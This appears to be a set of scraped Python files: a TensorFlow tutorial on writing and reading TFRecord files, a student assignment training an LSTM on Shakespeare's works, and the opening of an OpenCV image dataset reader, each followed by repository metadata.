= _float_feature(np.exp(1))\n\nfeature.SerializeToString()\n\n\"\"\"### Creating a `tf.Example` message\n\nSuppose you want to create a `tf.Example` message from existing data. In practice, the dataset may come from anywhere, but the procedure of creating the `tf.Example` message from a single observation will be the same.\n\n1. Within each observation, each value needs to be converted to a `tf.train.Feature` containing one of the 3 compatible types, using one of the functions above.\n\n1. We create a map (dictionary) from the feature name string to the encoded feature value produced in #1.\n\n1. The map produced in #2 is converted to a [`Features` message](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/example/feature.proto#L85).\n\nIn this notebook, we will create a dataset using NumPy.\n\nThis dataset will have 4 features.\n- a boolean feature, `False` or `True` with equal probability\n- an integer feature uniformly randomly chosen from `[0, 5)`\n- a string feature generated from a string table by using the integer feature as an index\n- a float feature from a standard normal distribution\n\nConsider a sample consisting of 10,000 independently and identically distributed observations from each of the above distributions.\n\"\"\"\n\n# the number of observations in the dataset\nn_observations = int(1e4)\n\n# boolean feature, encoded as False or True\nfeature0 = np.random.choice([False, True], n_observations)\n\n# integer feature, random from 0 .. 4\nfeature1 = np.random.randint(0, 5, n_observations)\n\n# string feature\nstrings = np.array([b'cat', b'dog', b'chicken', b'horse', b'goat'])\nfeature2 = strings[feature1]\n\n# float feature, from a standard normal distribution\nfeature3 = np.random.randn(n_observations)\n\n\"\"\"Each of these features can be coerced into a `tf.Example`-compatible type using one of `_bytes_feature`, `_float_feature`, `_int64_feature`. We can then create a `tf.Example` message from these encoded features.\"\"\"\n\n\ndef serialize_example(feature0, feature1, feature2, feature3):\n  \"\"\"\n  Creates a tf.Example message ready to be written to a file.\n  \"\"\"\n  # Create a dictionary mapping the feature name to the tf.Example-compatible\n  # data type.\n  feature = {\n      'feature0': _int64_feature(feature0),\n      'feature1': _int64_feature(feature1),\n      'feature2': _bytes_feature(feature2),\n      'feature3': _float_feature(feature3),\n  }\n\n  # Create a Features message using tf.train.Example.\n\n  example_proto = tf.train.Example(features=tf.train.Features(feature=feature))\n  return example_proto.SerializeToString()\n\n\n\"\"\"For example, suppose we have a single observation from the dataset, `[False, 4, bytes('goat'), 0.9876]`. We can create and print the `tf.Example` message for this observation using `create_message()`. Each single observation will be written as a `Features` message as per the above. Note that the `tf.Example` [message](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/example/example.proto#L88) is just a wrapper around the `Features` message.\"\"\"\n\n# This is an example observation from the dataset.\n\nexample_observation = []\n\nserialized_example = serialize_example(False, 4, b'goat', 0.9876)\n\n\"\"\"To decode the message use the `tf.train.Example.FromString` method.\"\"\"\n\nexample_proto = tf.train.Example.FromString(serialized_example)\n\n\"\"\"## TFRecords Format Details\n\nA TFRecord file contains a sequence of records. The file can only be read sequentially.\n\nEach record contains a byte-string, for the data-payload, plus the data-length, and  CRC32C (32-bit CRC using the Castagnoli polynomial) hashes for integrity checking.\n\nEach record has the format\n\n  uint64 length\n  uint32 masked_crc32_of_length\n  byte   data[length]\n  uint32 masked_crc32_of_data\n\nThe records are concatenated together to produce the file. CRCs are\n[described here](https://en.wikipedia.org/wiki/Cyclic_redundancy_check), and\nthe mask of a CRC is\n\n  masked_crc = ((crc >> 15) | (crc << 17)) + 0xa282ead8ul\n\nNote: There is no requirement to use `tf.Example` in TFRecord files. `tf.Example` is just a method of serializing dictionaries to byte-strings. Lines of text, encoded  image data, or serialized tensors (using `tf.io.serialize_tensor`, and\n`tf.io.parse_tensor` when loading). See the `tf.io` module for more options.\n\n## TFRecord files using `tf.data`\n\nThe `tf.data` module also provides tools for reading and writing data in tensorflow.\n\n### Writing a TFRecord file\n\nThe easiest way to get the data into a dataset is to use the `from_tensor_slices` method.\n\nApplied to an array, it returns a dataset of scalars.\n\"\"\"\n\ntf.data.Dataset.from_tensor_slices(feature1)\n\n\"\"\"Applies to a tuple of arrays, it returns a dataset of tuples:\"\"\"\n\nfeatures_dataset = tf.data.Dataset.from_tensor_slices((feature0, feature1, feature2, feature3))\n\n# Use `take(1)` to only pull one example from the dataset.\nfor f0, f1, f2, f3 in features_dataset.take(1):\n  print(f0)\n  print(f1)\n  print(f2)\n  print(f3)\n\n\"\"\"Use the `tf.data.Dataset.map` method to apply a function to each element of a `Dataset`.\n\nThe mapped function must operate in TensorFlow graph mode: It must operate on and return `tf.Tensors`. A non-tensor function, like `create_example`, can be wrapped with `tf.py_function` to make it compatible.\n\nUsing `tf.py_function` requires that you specify the shape and type information that is otherwise unavailable:\n\"\"\"\n\n\ndef tf_serialize_example(f0, f1, f2, f3):\n  tf_string = tf.py_function(\n      serialize_example,\n      (f0, f1, f2, f3),  # pass these args to the above function.\n      tf.string)      # the return type is `tf.string`.\n  return tf.reshape(tf_string, ())  # The result is a scalar\n\n\ntf_serialize_example(f0, f1, f2, f3)\n\n\"\"\"Apply this function to each element in the dataset:\"\"\"\n\nserialized_features_dataset = features_dataset.map(tf_serialize_example)\n\n\ndef generator():\n  for features in features_dataset:\n      yield serialize_example(*features)\n\n\nserialized_features_dataset = tf.data.Dataset.from_generator(\n  generator, output_types=tf.string, output_shapes=())\n\n\n\"\"\"And write them to a TFRecord file:\"\"\"\n\nfilename = 'test.tfrecord'\nwriter = tf.data.experimental.TFRecordWriter(filename)\nwriter.write(serialized_features_dataset)\n\n\"\"\"### Reading a TFRecord file\n\nWe can also read the TFRecord file using the `tf.data.TFRecordDataset` class.\n\nMore information on consuming TFRecord files using `tf.data` can be found [here](https://www.tensorflow.org/guide/datasets#consuming_tfrecord_data).\n\nUsing `TFRecordDataset`s can be useful for standardizing input data and optimizing performance.\n\"\"\"\n\nfilenames = [filename]\nraw_dataset = tf.data.TFRecordDataset(filenames)\n\n\"\"\"At this point the dataset contains serialized `tf.train.Example` messages. When iterated over it returns these as scalar string tensors.\n\nUse the `.take` method to only show the first 10 records.\n\nNote: iterating over a `tf.data.Dataset` only works with eager execution enabled.\n\"\"\"\n\nfor raw_record in raw_dataset.take(10):\n  print(repr(raw_record))\n\n\"\"\"These tensors can be parsed using the function below.\n\nNote: The `feature_description` is necessary here because datasets use graph-execution, and need this description to build their shape and type signature.\n\"\"\"\n\n# Create a description of the features.\nfeature_description = {\n  'feature0': tf.io.FixedLenFeature([], tf.int64, default_value=0),\n  'feature1': tf.io.FixedLenFeature([], tf.int64, default_value=0),\n  'feature2': tf.io.FixedLenFeature([], tf.string, default_value=''),\n  'feature3': tf.io.FixedLenFeature([], tf.float32, default_value=0.0),\n}\n\n\ndef _parse_function(example_proto):\n  # Parse the input tf.Example proto using the dictionary above.\n  return tf.io.parse_single_example(example_proto, feature_description)\n\n\n\"\"\"Or use `tf.parse example` to parse a whole batch at once.\n\nApply this finction to each item in the dataset using the `tf.data.Dataset.map` method:\n\"\"\"\n\nparsed_dataset = raw_dataset.map(_parse_function)\n\n\"\"\"Use eager execution to display the observations in the dataset. There are 10,000 observations in this dataset, but we only display the first 10. The data is displayed as a dictionary of features. Each item is a `tf.Tensor`, and the `numpy` element of this tensor displays the value of the feature.\"\"\"\n\nfor parsed_record in parsed_dataset.take(10):\n  print(repr(parsed_record))\n\n\"\"\"Here, the `tf.parse_example` function unpacks the `tf.Example` fields into standard tensors.\n\n## TFRecord files in python\n\nThe `tf.io` module also contains pure-Python functions for reading and writing TFRecord files.\n\n### Writing a TFRecord file\n\nNow write the 10,000 observations to the file `test.tfrecords`. Each observation is converted to a `tf.Example` message, then written to file. We can then verify that the file `test.tfrecords` has been created.\n\"\"\"\n\n# Write the `tf.Example` observations to the file.\nwith tf.io.TFRecordWriter(filename) as writer:\n  for i in range(n_observations):\n      example = serialize_example(feature0[i], feature1[i], feature2[i], feature3[i])\n      writer.write(example)\n\n\n\"\"\"### Reading a TFRecord file\n\nThese serialized tensores can be easily parsed using `tf.train.Example.ParseFromString`\n\"\"\"\n\nfilenames = [filename]\nraw_dataset = tf.data.TFRecordDataset(filenames)\n\nfor raw_record in raw_dataset.take(1):\n  example = tf.train.Example()\n  example.ParseFromString(raw_record.numpy())\n  print(example)\n\n\"\"\"## Walkthrough: Reading/Writing Image Data\n\nThis is an example of how to read and write image data using TFRecords. The purpose of this is to show how, end to end, input data (in this case an image) and write the data as a TFRecord file, then read the file back and display the image.\n\nThis can be useful if, for example, you want to use several models on the same input dataset. Instead of storing the image data raw, it can be preprocessed into the TFRecords format, and that can be used in all further processing and modelling.\n\nFirst, let's download [this image](https://commons.wikimedia.org/wiki/File:Felis_catus-cat_on_snow.jpg) of a cat in the snow and [this photo](https://upload.wikimedia.org/wikipedia/commons/f/fe/New_East_River_Bridge_from_Brooklyn_det.4a09796u.jpg) of the Williamsburg Bridge, NYC under construction.\n\n### Fetch the images\n\"\"\"\n\ncat_in_snow = tf.keras.utils.get_file('320px-Felis_catus-cat_on_snow.jpg', 'https://storage.googleapis.com/download.tensorflow.org/example_images/320px-Felis_catus-cat_on_snow.jpg')\nwilliamsburg_bridge = tf.keras.utils.get_file('194px-New_East_River_Bridge_from_Brooklyn_det.4a09796u.jpg', 'https://storage.googleapis.com/download.tensorflow.org/example_images/194px-New_East_River_Bridge_from_Brooklyn_det.4a09796u.jpg')\n\ndisplay.display(display.Image(filename=cat_in_snow))\ndisplay.display(display.HTML('Image cc-by: <a \"href=https://commons.wikimedia.org/wiki/File:Felis_catus-cat_on_snow.jpg\">Von.grzanka</a>'))\n\ndisplay.display(display.Image(filename=williamsburg_bridge))\ndisplay.display(display.HTML('<a \"href=https://commons.wikimedia.org/wiki/File:New_East_River_Bridge_from_Brooklyn_det.4a09796u.jpg\">From Wikimedia</a>'))\n\n\"\"\"### Write the TFRecord file\n\nAs we did earlier, we can now encode the features as types compatible with `tf.Example`. In this case, we will not only store the raw image string as a feature, but we will store the height, width, depth, and an arbitrary `label` feature, which is used when we write the file to distinguish between the cat image and the bridge image. We will use `0` for the cat image, and `1` for the bridge image.\n\"\"\"\n\nimage_labels = {\n  cat_in_snow: 0,\n  williamsburg_bridge: 1,\n}\n\n# This is an example, just using the cat image.\nimage_string = open(cat_in_snow, 'rb').read()\n\nlabel = image_labels[cat_in_snow]\n\n# Create a dictionary with features that may be relevant.\n\n\ndef image_example(image_string, label):\n  image_shape = tf.image.decode_jpeg(image_string).shape\n\n  feature = {\n      'height': _int64_feature(image_shape[0]),\n      'width': _int64_feature(image_shape[1]),\n      'depth': _int64_feature(image_shape[2]),\n      'label': _int64_feature(label),\n      'image_raw': _bytes_feature(image_string),\n  }\n\n  return tf.train.Example(features=tf.train.Features(feature=feature))\n\n\nfor line in str(image_example(image_string, label)).split('\\n')[:15]:\n  print(line)\nprint('...')\n\n\"\"\"We see that all of the features are now stores in the `tf.Example` message. Now, we functionalize the code above and write the example messages to a file, `images.tfrecords`.\"\"\"\n\n# Write the raw image files to images.tfrecords.\n# First, process the two images into tf.Example messages.\n# Then, write to a .tfrecords file.\nrecord_file = 'images.tfrecords'\nwith tf.io.TFRecordWriter(record_file) as writer:\n  for filename, label in image_labels.items():\n      image_string = open(filename, 'rb').read()\n      tf_example = image_example(image_string, label)\n      writer.write(tf_example.SerializeToString())\n\n\n\"\"\"### Read the TFRecord file\n\nWe now have the file `images.tfrecords`. We can now iterate over the records in the file to read back what we wrote. Since, for our use case we will just reproduce the image, the only feature we need is the raw image string. We can extract that using the getters described above, namely `example.features.feature['image_raw'].bytes_list.value[0]`. We also use the labels to determine which record is the cat as opposed to the bridge.\n\"\"\"\n\nraw_image_dataset = tf.data.TFRecordDataset('images.tfrecords')\n\n# Create a dictionary describing the features.\nimage_feature_description = {\n  'height': tf.io.FixedLenFeature([], tf.int64),\n  'width': tf.io.FixedLenFeature([], tf.int64),\n  'depth': tf.io.FixedLenFeature([], tf.int64),\n  'label': tf.io.FixedLenFeature([], tf.int64),\n  'image_raw': tf.io.FixedLenFeature([], tf.string),\n}\n\n\ndef _parse_image_function(example_proto):\n  # Parse the input tf.Example proto using the dictionary above.\n  return tf.io.parse_single_example(example_proto, image_feature_description)\n\n\nparsed_image_dataset = raw_image_dataset.map(_parse_image_function)\n\n\"\"\"Recover the images from the TFRecord file:\"\"\"\n\nfor image_features in parsed_image_dataset:\n  image_raw = image_features['image_raw'].numpy()\n  display.display(display.Image(data=image_raw))\n", "meta": {"hexsha": "bd06cd65e719d5dbc5d6695e99b51ba1b8301042", "size": 17740, "ext": "py", "lang": "Python", "max_stars_repo_path": "Experts_tutorial/Load_data/tf_records.py", "max_stars_repo_name": "Lornatang/TensorFlow2-tutorials", "max_stars_repo_head_hexsha": "df5bc050e9941f5be23ff9ff826744b18664bb8b", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 7, "max_stars_repo_stars_event_min_datetime": "2019-05-26T02:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2021-10-07T05:57:49.000Z", "max_issues_repo_path": "Experts_tutorial/Load_data/tf_records.py", "max_issues_repo_name": "Lornatang/TensorFlow2-tutorials", "max_issues_repo_head_hexsha": "df5bc050e9941f5be23ff9ff826744b18664bb8b", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Experts_tutorial/Load_data/tf_records.py", "max_forks_repo_name": "Lornatang/TensorFlow2-tutorials", "max_forks_repo_head_hexsha": "df5bc050e9941f5be23ff9ff826744b18664bb8b", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 4, "max_forks_repo_forks_event_min_datetime": "2020-02-29T04:32:34.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-05T13:38:03.000Z", "avg_line_length": 41.0648148148, "max_line_length": 470, "alphanum_fraction": 0.7542277339, "include": true, "reason": "import numpy", "num_tokens": 4210, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.42250463481418826, "lm_q2_score": 0.12085324198975818, "lm_q1q2_score": 0.051061054872993505}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"LS_DS_431_RNN_and_LSTM_Assignment.ipynb\n\nAutomatically generated by Colaboratory.\n\nOriginal file is located at\n    https://colab.research.google.com/drive/1jfDqfw7tYRxJyXHrqDOZ8JrsN-Vt9-ev\n\n<img align=\"left\" src=\"https://lever-client-logos.s3.amazonaws.com/864372b1-534c-480e-acd5-9711f850815c-1524247202159.png\" width=200>\n<br></br>\n<br></br>\n\n## *Data Science Unit 4 Sprint 3 Assignment 1*\n\n# Recurrent Neural Networks and Long Short Term Memory (LSTM)\n\n![Monkey at a typewriter](https://upload.wikimedia.org/wikipedia/commons/thumb/3/3c/Chimpanzee_seated_at_typewriter.jpg/603px-Chimpanzee_seated_at_typewriter.jpg)\n\nIt is said that [infinite monkeys typing for an infinite amount of time](https://en.wikipedia.org/wiki/Infinite_monkey_theorem) will eventually type, among other things, the complete works of Wiliam Shakespeare. Let's see if we can get there a bit faster, with the power of Recurrent Neural Networks and LSTM.\n\nThis text file contains the complete works of Shakespeare: https://www.gutenberg.org/files/100/100-0.txt\n\nUse it as training data for an RNN - you can keep it simple and train character level, and that is suggested as an initial approach.\n\nThen, use that trained RNN to generate Shakespearean-ish text. Your goal - a function that can take, as an argument, the size of text (e.g. number of characters or lines) to generate, and returns generated text of that size.\n\nNote - Shakespeare wrote an awful lot. It's OK, especially initially, to sample/use smaller data and parameters, so you can have a tighter feedback loop when you're trying to get things running. Then, once you've got a proof of concept - start pushing it more!\n\"\"\"\n\nfrom tensorflow.keras.callbacks import LambdaCallback, EarlyStopping, TensorBoard\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, LSTM\n\nimport numpy as np\nimport random\nimport sys\nimport requests\nimport os\nimport datetime\n\nurl = \"https://www.gutenberg.org/files/100/100-0.txt\"\n\nr = requests.get(url)\n\nr.encoding = r.apparent_encoding\n\ndata = r.text\n\ndata[:100]\n\ndata = data.split('\\r\\n')\n\ndata[:100]\n\n# this creates a length of 43 sequences with 130 embedding length maybe ??? unique characters\ntoc = [l.strip() for l in data[44:130:2]]\n\ntype(toc)\n\n# Skip the Table of Contents\ndata = data[135:]\n\ntoc\n\nlen(toc)\n\n# Fixing Titles\ntoc[9] = 'THE LIFE OF KING HENRY V'\ntoc[18] = 'MACBETH'\ntoc[24] = 'OTHELLO, THE MOOR OF VENICE'\ntoc[34] = 'TWELFTH NIGHT: OR, WHAT YOU WILL'\n\nlocations = {id_:{'title':title, 'start':-99} for id_,title in enumerate(toc)}\n\nprint(locations)\n\n# Start \nfor e,i in enumerate(data):\n    for t,title in enumerate(toc):\n        if title in i:\n            locations[t].update({'start':e})\n\nlocations\n\nimport pandas as pd\n# orient id takes out the first 10 row assuming it is the index\ndf_toc = pd.DataFrame.from_dict(locations, orient='index')\n\ndf_toc\n\ndf_toc['end'] = df_toc['start'].shift(-1).apply(lambda x: x-1)\n\ndf_toc['end']\n\ndf_toc['start']\n\ndf_toc.loc[42, 'end'] = len(data)\n\nlen(data)\n\ndf_toc['end'].tail()\n\ndf_toc.tail()\n\ndf_toc['text'] = df_toc.apply(lambda x: '\\r\\n'.join(data[ x['start'] : int(x['end']) ]), axis=1)\n\npd.set_option('display.max.rows', 999)\npd.set_option('display.max.columns', 999)\npd.set_option('display.max_colwidth', -1)\ndf_toc['text']\n\ndf_toc['text_len'] = df_toc['text'].apply(len)\nprint(df_toc['text_len'])\nprint(df_toc['text'][0])\n\n# divide b/w plays and sonets\nsonets = data[:2776]\nplays = data[2777:]\n\nlen(plays)\n\n\n\ndata\n\ndef long_lines(lst_ln):\n    clean = []\n    \n    for ln in lst_ln: \n        \n        if len(ln) == 0:\n            pass\n        else:\n            pct = len(ln.strip(' ')) / len(ln)\n\n            if pct >= .5:\n                clean.append(ln.lstrip())\n\n    return clean\n\n# May Not be Needed\nsonets = long_lines(sonets)\nplays = long_lines(plays)\n\n\"\"\"## Word Encoding\n\nThis is just a start, and is not complete yet.\n\"\"\"\n\nvocab = list(set(\"\\r\\n\".join(plays).split()))\nwords = [line.split() for line in plays]\n\nvocab\n\nlen(words)\n\nwords = words[:20000]\n\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\nfrom tensorflow.keras.layers import Embedding, LSTM, Dense, Dropout, Bidirectional\nfrom tensorflow.keras.preprocessing.text import Tokenizer\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.optimizers import Adam\nfrom tensorflow.keras import regularizers\nimport tensorflow.keras.utils as ku \nimport numpy as np \nimport tensorflow as tf\nimport pickle\n\n\n\ntokenizer = Tokenizer()\ntokenizer.fit_on_texts(words)\ntotal_words = len(tokenizer.word_index) + 1\nprint(total_words)\n\ntokenizer.fit_on_texts(vocab)\ntotal_words2 = len(tokenizer.word_index) + 1\nprint(total_words2)\n\ninput_sequences_train = []\ninput_sequences_test = []\nfor lines in words:\n  token_list = tokenizer.texts_to_sequences([lines])[0]\n  for i in range(1,len(token_list)):\n    n_gram_sequence = token_list[:i+1]\n    input_sequences_train.append(n_gram_sequence)\nfor lines2 in vocab:\n  token_list2 = tokenizer.texts_to_sequences([lines2])[0]\n  for i in range(1,len(token_list2)):\n    n_gram_sequence2 = token_list[:i+1]  \n    input_sequences_test.append(n_gram_sequence2)\n\ninput_sequences_train\n\n# train\n# pad sequences \nmax_sequence_len = max([len(x) for x in input_sequences_train])\nprint(max_sequence_len)\ninput_sequences = np.array(pad_sequences(input_sequences_train, maxlen=max_sequence_len, padding='pre'))\n\n# test\n# pad sequences \nmax_sequence_len2 = max([len(x) for x in input_sequences_test])\nprint(max_sequence_len2)\ninput_sequences2 = np.array(pad_sequences(input_sequences_test, maxlen=max_sequence_len2, padding='pre'))\n\n# create predictors and label\npredictors, label = input_sequences[:,:-1],input_sequences[:,-1]\n\nlabel = ku.to_categorical(label, num_classes=total_words)\n\nmodel = Sequential()\nmodel.add(Embedding(total_words, 20, input_length=max_sequence_len-1))\nmodel.add(Bidirectional(LSTM(200, return_sequences = True)))\nmodel.add(Dropout(0.2))\nmodel.add(LSTM(100))\nmodel.add(Dense(total_words/2, activation='relu', kernel_regularizer=regularizers.l2(0.001)))\nmodel.add(Dense(total_words, activation='softmax'))\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\nprint(model.summary())\n\nbreakpoint()\n\n\"\"\"## Character Encoding\n\nUsing the technique shown in lecture.\n\"\"\"\n\ntext = '\\r\\n'.join(sonets)\n\nchars = list(set(text))\n\nchar_int = {c:i for i,c in enumerate(chars)}\nint_char = {i:c for i,c in enumerate(chars)}\n\nprint(f\"Our corpus contains {len(chars)} unique characters.\")\n\n# Create the Sequence Data\n \nmaxlen = 150\nstep = 1\n \nencoded = [char_int[c] for c in text]\n \nsequences = [] # Each element is 40 characters long\nnext_chars = [] # One element for each sequence\n \nfor i in range(0, len(encoded) - maxlen, step):\n    sequences.append(encoded[i : i + maxlen])\n    next_chars.append(encoded[i + maxlen])\n    \nprint('sequences:', len(sequences))\n\nimport numpy as np\n\n# Specify x & y\n\nx = np.zeros((len(sequences), maxlen, len(chars)), dtype=np.bool)\ny = np.zeros((len(sequences), len(chars)), dtype=np.bool)\n\nfor i, sequence in enumerate(sequences):\n    for t, char in enumerate(sequence):\n        x[i,t,char] = 1\n        \n    y[i, next_chars[i]] = 1\n\nx.shape\n\n# build the model: a single LSTM\n\nmodel = Sequential()\nmodel.add(LSTM(256, input_shape=(maxlen, len(chars)), dropout=0.2))\nmodel.add(Dense(len(chars), activation='softmax'))\n\nmodel.compile(loss='categorical_crossentropy', optimizer='nadam')\n\nmodel.summary()\n\ndef sample(preds):\n    # helper function to sample an index from a probability array\n    preds = np.asarray(preds).astype('float64')\n    preds = np.log(preds) / 1\n    exp_preds = np.exp(preds)\n    preds = exp_preds / np.sum(exp_preds)\n    probas = np.random.multinomial(1, preds, 1)\n    return np.argmax(probas)\n\ndef on_epoch_end(epoch, _):\n    # Function invoked at end of each epoch. Prints generated text.\n    \n    print()\n    print('----- Generating text after Epoch: %d' % epoch)\n    \n    start_index = random.randint(0, len(text) - maxlen - 1)\n    \n    generated = ''\n    \n    sentence = text[start_index: start_index + maxlen]\n    generated += sentence\n    \n    print('----- Generating with seed: \"' + sentence + '\"')\n    sys.stdout.write(generated)\n    \n    for i in range(400):\n        x_pred = np.zeros((1, maxlen, len(chars)))\n        for t, char in enumerate(sentence):\n            x_pred[0, t, char_int[char]] = 1\n            \n        preds = model.predict(x_pred, verbose=0)[0]\n        next_index = sample(preds)\n        next_char = int_char[next_index]\n        \n        sentence = sentence[1:] + next_char\n        \n        sys.stdout.write(next_char)\n        sys.stdout.flush()\n    print()\n\n\nprint_callback = LambdaCallback(on_epoch_end=on_epoch_end)\n\nlogdir = os.path.join(\"logs\", datetime.datetime.now().strftime(\"%Y%m%d-%H%M%S\"))\ntensorboard_callback = TensorBoard(logdir, histogram_freq=1)\n\nmodel.fit(x, y,\n          batch_size=1024,\n          validation_split=.2,\n          epochs=100,\n          callbacks=[print_callback, \n                     #EarlyStopping(min_delta=.02, monitor='val_loss', patience=10),\n                     tensorboard_callback])\n\n# Commented out IPython magic to ensure Python compatibility.\n# %load_ext tensorboard\n\n# Commented out IPython magic to ensure Python compatibility.\n# %tensorboard --logdir logs\n\n\"\"\"# Resources and Stretch Goals\n\n## Stretch goals:\n- Refine the training and generation of text to be able to ask for different genres/styles of Shakespearean text (e.g. plays versus sonnets)\n- Train a classification model that takes text and returns which work of Shakespeare it is most likely to be from\n- Make it more performant! Many possible routes here - lean on Keras, optimize the code, and/or use more resources (AWS, etc.)\n- Revisit the news example from class, and improve it - use categories or tags to refine the model/generation, or train a news classifier\n- Run on bigger, better data\n\n## Resources:\n- [The Unreasonable Effectiveness of Recurrent Neural Networks](https://karpathy.github.io/2015/05/21/rnn-effectiveness/) - a seminal writeup demonstrating a simple but effective character-level NLP RNN\n- [Simple NumPy implementation of RNN](https://github.com/JY-Yoon/RNN-Implementation-using-NumPy/blob/master/RNN%20Implementation%20using%20NumPy.ipynb) - Python 3 version of the code from \"Unreasonable Effectiveness\"\n- [TensorFlow RNN Tutorial](https://github.com/tensorflow/models/tree/master/tutorials/rnn) - code for training a RNN on the Penn Tree Bank language dataset\n- [4 part tutorial on RNN](http://www.wildml.com/2015/09/recurrent-neural-networks-tutorial-part-1-introduction-to-rnns/) - relates RNN to the vanishing gradient problem, and provides example implementation\n- [RNN training tips and tricks](https://github.com/karpathy/char-rnn#tips-and-tricks) - some rules of thumb for parameterizing and training your RNN\n\"\"\"", "meta": {"hexsha": "2ce5fc7ddefa8f84542d0aac7754650c9f418c89", "size": 10890, "ext": "py", "lang": "Python", "max_stars_repo_path": "module1-rnn-and-lstm/ls_ds_431_rnn_and_lstm_assignment.py", "max_stars_repo_name": "geraldm24/DS-Unit-4-Sprint-3-Deep-Learning", "max_stars_repo_head_hexsha": "36a7ee1ccbcdb93bdf89480df94c33d2cfa9cd63", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "module1-rnn-and-lstm/ls_ds_431_rnn_and_lstm_assignment.py", "max_issues_repo_name": "geraldm24/DS-Unit-4-Sprint-3-Deep-Learning", "max_issues_repo_head_hexsha": "36a7ee1ccbcdb93bdf89480df94c33d2cfa9cd63", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "module1-rnn-and-lstm/ls_ds_431_rnn_and_lstm_assignment.py", "max_forks_repo_name": "geraldm24/DS-Unit-4-Sprint-3-Deep-Learning", "max_forks_repo_head_hexsha": "36a7ee1ccbcdb93bdf89480df94c33d2cfa9cd63", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.676056338, "max_line_length": 309, "alphanum_fraction": 0.7202938476, "include": true, "reason": "import numpy", "num_tokens": 2761, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.42250463481418826, "lm_q2_score": 0.12085323724011435, "lm_q1q2_score": 0.05106105286624697}}
{"text": "# file: dataset_reader.py\n#\n# Contains helper class dataset\n# which is able to return mini batches of a desired\n# size of <label, image> pairs\n#\n# For this the class constructor needs to be passed\n# a imagePath in which it expects a subfolder for each\n# image category.\n#\n# It automatically will traverse each subfolder recursively\n# in order to generate a image list of the form\n# e.g. [['cow', 'cow8439.jpeg'], ['dog', 'dog02.jpeg'], ...]\n#\n# Images will be read only using OpenCV's imread() function\n# when preparing a mini-batch.\n# They are not loaded all at once which is good,\n# if we want to train on several 10.000 of images.\n# (e.g. 1024 images of 1MB each --> 1 GB already!)\n#\n# The code here is inspired by:\n# Wang Xinbo's AlexNet implementation:\n# see https://github.com/SidHard/tfAlexNet\n#\n# ---\n# Prof. Dr. Juergen Brauer, www.juergenbrauer.org\n\n\nimport numpy as np\nimport os\nimport cv2\n\nRESIZE_WIDTH, RESIZE_HEIGHT = 227,227\n\nclass dataset:\n\n    nr_img_channels = -1\n\n    '''\n    Checks which image categories are stored\n    in the subfolder of <imagePath>:\n    e.g. 'cows', 'dogs'\n    Then prepares lists of filenames and label information\n    for the image files found in the imagePath \n    '''\n    def __init__(self, imagePath, extensions, nr_img_channels):\n\n        self.nr_img_channels = nr_img_channels\n\n        # 1. prepare image list with category information\n        #    self.data = [['cow', 'cowimg01.jpeg'],\n        #                 ['dog', 'dogimg3289.jpeg], ...]\n        print(\"\\n\")\n        print(\"Searching in folder\", imagePath, \"for images\")\n        self.data = createImageList(imagePath, extensions)\n        NrImgs = len(self.data)\n        print(\"Found\", NrImgs, \"images\")\n        print(\"Here are the first 5 and the last 5 images and \"\n              \"their corresponding categories I found:\")\n        for i in range(0,5):\n                print(self.data[i])\n        for i in range(NrImgs-5,NrImgs):\n                print(self.data[i])\n        \n        # 2. shuffle the data\n        np.random.shuffle(self.data)\n        self.num_images = len(self.data)\n        self.next_image_nr = 0\n\n        # 3. use zip function to unzip the data into two lists\n        #    see https://docs.python.org/3.3/library/functions.html#zip\n        self.labels, self.filenames = zip(*self.data)\n\n        # 4. show some random images\n        for i in range(0,5):\n                rnd_idx = np.random.randint(NrImgs)\n                rnd_filename = self.filenames[ rnd_idx ]\n                print(\"random filename = \", rnd_filename)\n                img = cv2.imread( rnd_filename )\n                img = self.preprocess(img)\n                #img = cv2.resize(img, (RESIZE_WIDTH, RESIZE_HEIGHT))\n                img_name = \"example image \" + str(i)\n                cv2.imshow(img_name, img)\n                cv2.moveWindow(img_name, 300+i*250,100);\n        cv2.waitKey(1000)\n        cv2.destroyAllWindows()\n\n\n        # 5. get a list of all categories,\n        #    e.g. ['cows', 'dogs']\n        category_list = np.unique(self.labels)\n\n        # 6. how many categories are there?\n        self.num_labels = len(category_list)\n        \n        # 7. prepare a dictionary to map\n        #   category names to category numbers\n        self.category2label = \\\n            dict(zip(category_list, range(len(category_list))))\n\n        # 8. and the other way round:\n        #    prepare a dictionary {} to map category numbers\n        #    to category names\n        self.label2category =\\\n            {l: c for c, l in self.category2label.items()}\n\n        # 9. prepare list of ground truth labels\n        #    where we can find the ground truth label for\n        #    image i at the i-th position in the list\n        self.labels = [self.category2label[l] for l in self.labels]\n\n\n    '''\n    Returns the number of images\n    available by this dataset object\n    '''\n    def __len__(self):\n        return self.num_images\n\n    '''\n    Returns a onehot NumPy array,\n    where all entries are set to 0\n    but to 1 for the right category\n    '''\n    def onehot(self, label):\n        v = np.zeros(self.num_labels)\n        v[label] = 1\n        return v\n\n\n    '''\n    Are there further images available?\n    '''\n    def hasNextRecord(self):\n        return self.next_image_nr < self.num_images\n\n\n    '''\n    Resizes the specified OpenCV image to a fixed size    \n    Converts it to a NumPy 